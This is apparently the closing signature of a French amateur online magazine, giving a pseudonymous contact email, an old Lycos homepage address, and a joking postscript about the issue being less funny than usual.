sirius_black@imel.org  --  membres.lycos.fr/lotfree

PS : Désolé si vous trouvez que le mag est moins drôle que d'habitude, j'ai arrêté la drogue !! LoL !!